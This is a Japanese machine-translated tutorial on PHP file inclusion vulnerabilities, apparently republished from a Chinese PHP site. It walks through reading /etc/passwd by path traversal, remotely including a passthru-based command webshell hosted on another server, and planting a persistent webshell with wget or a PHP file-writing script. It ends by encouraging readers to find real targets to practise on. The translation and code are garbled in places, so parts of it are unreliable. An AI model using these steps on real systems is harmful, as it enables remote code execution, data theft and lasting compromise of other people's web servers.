ほぼすべての CGI プログラムにはこのようなバグがありますが、具体的な症状は異なります。
1. 危険な関数が含まれています [include()、require()、および include_once()、require_once()]
include() && require() ステートメント: 指定されたファイルをインクルードして実行します。
2 つの構造は、障害の処理方法を除いてまったく同じです。 include() は警告を生成し、require() は致命的なエラーを引き起こします。つまり、ファイルが見つからない場合にページの処理を停止したい場合は、require() を使用します。 include() の場合はそうではなく、スクリプトは引き続き実行されます。
「allow_url_fopen」が PHP でアクティブ化されている場合 (デフォルト構成)、ローカル ファイルの代わりに URL (HTTP またはその他のサポートされているカプセル化プロトコル経由) を使用して、インクルードされるファイルを指定することもできます。ターゲット サーバーがターゲット ファイルを PHP コードとして解釈する場合は、HTTP GET の URL リクエスト文字列を使用して、インクルードされたファイルに変数を渡すことができます。
require_once() &&include_once()
require_once() と include_once() ステートメントは、スクリプト実行中に指定されたファイルをインクルードして実行します。この動作は require() ステートメントに似ていますが、唯一の違いは、ファイル内のコードが既にインクルードされている場合、再度インクルードされないことです。これは、スクリプトの実行中に同じファイルが複数回インクルードされる可能性があり、関数の再定義や変数の再割り当てなどの問題を回避するために、ファイルが 1 回だけインクルードされるようにする必要がある状況に適しています。
2. ファイルをインクルードする理由
プログラマはプログラムを書くとき、同じことをすることを好まないし、同じコード (いくつかの一般的な関数など) を何度も書きたくないので、次のようなコードを書きます。 share.php などの別のファイルで共有し、他のファイルでインクルード呼び出しを行う必要があります。 PHP では、この目的を達成するために上記の関数を使用します。 そのワークフロー: main.php に share.php を含める場合は、次のように include("share.php") を記述します。目的は達成されます。 share.php の関数を使用できます。含める必要があるファイル名をハードコーディングしても問題はありません。問題はどこにあるのでしょうか。
どのファイルを含める必要があるかわからない場合があります。たとえば、まず次のファイルindex.phpのコードを見てください:
[code]
if ($_GET ) {
include $_GET
} else {
include "home.php";
}
[/code]
ごく普通の PHP コードですが、どのように動作するのでしょうか?これには $_GET の意味が関係するため、ここでは説明しません (そうでない場合は、HTTP について別の記事を書くことができます)。GET、POST などを理解できない場合は、関連情報を Google で検索する必要があります。補足をひとつ。
1. 上記のURLを送信し、index.php内のこのページの値($_GET)を取得します。
2. $_GET
が空かどうかを確認します。空でない場合は、include を使用してこのファイルをインクルードします。
3. $_GET
が空の場合は、else を実行してファイル home.php をインクルードします。
3. 脆弱性はなぜ発生するのですか?
URL に従ってファイルを動的に含めることができるのは、どのようにして便利なのでしょうか?質問に対する答えは次のとおりです。私たちは賢くない、常に他の人と違うことを好みます、彼のリンクにはたどりません、含めたい(呼び出したい)ファイルを書きたいかもしれません。たとえば、次のように入力します。次の URL を何気なく入力してください: http://www.jb51.net/php/index.php?page=hello.php。次に、index.php プログラムは、上記の手順を愚かにも実行します。つまり、ページを hello.php として取得し、include(hello.php) に移動します。この時点では、ファイル hello.php がないため、問題が発生します。したがって、インクルードすると次のような警告が報告されます:
Quote:
Warning: include(hello.php) [function.include]: failed to open stream: No such file or directory in /vhost/ 3 行目の php/index.php
警告: include() [function.include]: 3 行目の /vhost/php/index.php にインクルード (include_path='.:') するために 'hello.php' を開けませんでした
注: 上記の警告は、指定した hello.php ファイルが見つからないこと、つまり、指定したパスを持つファイルを含めることができないことを意味し、その後の警告は、指定したファイルが以前に見つからなかったため、警告が表示されます。含まれている場合に発行されます。
4. 悪用方法
上記のとおり、このような脆弱性を悪用するにはどうすればよいでしょうか? 実際には多くの悪用方法がありますが、さらに 3 つの一般的な悪用方法について説明します。ここでの方法は次のとおりです:
1. ターゲット マシン上の他のファイルの読み取りを含む
上記からわかるように、取得されたパラメータ ページはフィルタリングされていないため、ターゲット ホスト上の他の機密ファイルを任意に指定できます。前の警告では、公開された絶対パス (vhost/php/) を確認できます。その後、他のファイルを含めるためにそれを複数回検出できます。たとえば、URL を http://www.jb51.net/php のように指定します。 /index.php?page=. /txt.txt は、現在のパスにある txt.txt ファイルを読み取ることも、.. /../ を使用してディレクトリにジャンプすることもできます (../ をフィルターせずに)。ターゲット ホストに厳格な権限制限がない場合は、機密システム ファイルを読み取るための絶対パス (URL: http://www.phphtm.com/php/index.php?page=/etc/passwd など)、またはApache を起動する権限が比較的高い場合、このファイルの内容を読み取ることができます。それ以外の場合は、「open_basedir 制限が有効です」のような警告が表示されます。
2. 実行可能な PHP トロイの木馬が含まれています
ターゲット ホストの "allow_url_fopen" がアクティブ化されている場合 (デフォルトはアクティブ化されており、変更する人はほとんどいません)、より多くのスペースを使用できるようになり、他の URL を指定できるようになります。たとえば、最初にコマンドを実行するための PHP コードを記述し (コメント付きなのでわかりやすいはずです)、次のように cmd.txt として保存します (サフィックスは重要ではありません)。コンテンツは PHP 形式であるため、それだけです)。
コード: [クリップボードにコピー]
----------------------------------------------------- ---------------------------------------
if (get_magic_quotes_gpc())
{$ _REQUEST["cmd"]=stripslashes($_REQUEST["cmd"]);} //エスケープ文字を削除します (文字列内のバックスラッシュ文字を削除できます)
ini_set("max_execution_time",0) //Set の実行時間を設定します。このファイルでは、0 は制限なしを意味します。
echo "
1.S.T
"; // 返された開始行プロンプト情報を出力します
passthru($_REQUEST["cmd"]) // 指定されたコマンド
echo "
" 1.S.T
"; //返された終了行プロンプト情報を出力します
?>
上記のファイルの機能は、cmd で指定されたコマンドを受け入れ、パススルー関数を呼び出して実行し、内容を 1 に返すことです。 S.T. HTTP 経由でアクセスできる限り、このファイルをホストのサーバー (PHP をサポートしていないホストでもかまいません) に保存します。たとえば、アドレスは次のとおりです: http://www.phphtm.com /cmd.txt、そして次の URL を脆弱なホスト上に構築して悪用できます: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd .txt?cmd=ls, cmd に続くのは、実行する必要があるコマンドです。その他の一般的に使用されるコマンド (*UNIX を例にします) は次のとおりです。ll ディレクトリとファイルをリストします (Windows の dir に相当)
pwd 現在の絶対パスを表示します
id whoami 現在のユーザーを表示します
wget 指定された URL のファイルをダウンロードします
他の人を待ち、BAIDU にアクセスしてホスト上で見つけます、列挙しません。
上記の方法は、Webshell を取得することです (この PHP ファイルはターゲット マシン上にありませんが、確かに Webshell ですよね?笑)
3. ファイルを作成する PHP ファイルが含まれています
ターゲットがまだ取得されていると考えるかもしれません。マシン上に本物の Webshell がある方が信頼性が高くなります。含まれている脆弱性がパッチされたことが誰かに発見された場合、上記の「偽の」Webshell をリモートから組み込むことはできなくなります。右?この心理は理解できます。続けましょう。本物の Web シェルを取得するには、次の 2 つの一般的な方法についても説明します:
1) wget などのコマンドを使用して Web シェルをダウンロードします
これは比較的単純で、上記で取得した疑似 Web シェルで非常に一般的に使用されます。コマンドを使用すると、システム内の非常に強力な役割である wget を呼び出すこともできます。このコマンドの機能については、Google で調べてください。間違いなく混乱するでしょう。それほど複雑にする必要はありません。 、単に -O (--output-document=FILE、ドキュメントを FILE ファイルに書き込みます) を使用するだけです (笑)。
前提として、前の手順に従い、PHP コードを含む Web シェルを HTTP または FTP 経由でアクセスできる場所 (http://www.jb51.net/1stphp.txt など) に配置します。このファイルはWebshellの中身です。次に、前に取得した疑似 Webshell で次の URL を実行します: http://www.phphtm.com/php/index.php?page=http://www.phphtm.com/cmd.txt?cmd=wget http ://www.phphtm.com の場合、現在のディレクトリが書き込み可能であれば、1stphp.php という Web シェルを取得できます。現在のディレクトリが書き込み可能でない場合は、他の方法を考える必要があります。
2) ファイルを使用して作成します
前の wget では、現在のディレクトリに書き込めない、またはターゲット ホストがこのコマンドを無効にしている (またはインストールされていない) という状況が発生する可能性があります。再度回避する必要があります。結合することができます。以前のインクルード ファイルの脆弱性には、ファイルを作成する (ファイルを書き込む) PHP スクリプトが含まれています。 内容は次のとおりです:
CODE: [クリップボードにコピー]
----------------- ------ -------------------------------------------- ------ -------
$f=file_get_contents(http://www.phphtm.com); //指定されたパスでファイル ストリームを開きます
$ff=fopen("./ Upload/1st.php"," a"); //可能なディレクトリを見つけてファイルを作成します
fwrite ($ff,$f); //以前に開いたファイル ストリームを作成したファイルに書き込みます
fclose($ff) ; // 閉じて保存します
?> ファイル
は、上記の wget でダウンロードした php ファイルにまだ書き込まれていますが、方法を改良し、PHP スクリプトで実装することができます。上記の手順に従って、書き込み可能なディレクトリ (ここではアップロードなど) を見つけて、このディレクトリにファイルを作成します: ./upload/1st.php。次に、Webシェルを取得します。
5. あとがき
最後に、ファイルインクルードの脆弱性は基本的には比較的単純な脆弱性ですが、多くのシステムでは依然として高いリスク要因を持っています。注意していれば見つかるものもたくさんあります。問題を分析して解決策を見つけるのが得意であれば、それを使用するプロセスは比較的柔軟です。ゆっくりと進歩することができます。
抜け穴には多くの知識が含まれており、すべてを 1 つずつ説明することはできません。質問するか、Google にアクセスして自分で解決してください。時間が迫っているので、もし説明が不適切であれば皆さんに修正していただければ幸いです。
最後に、この種のことにはさらに練習が必要です。時間があるときに、このプロセスを実行するための具体的な例を見つけます。そうすれば、今すぐそれを探して、どのような抜け穴が見つかるかを確認することもできます。私のより詳細な分析と活用プロセスをここで皆さんと共有できればと思っています。
その他の関連記事については、PHP 中国語 Web サイト (www.php.cn) にご注目ください。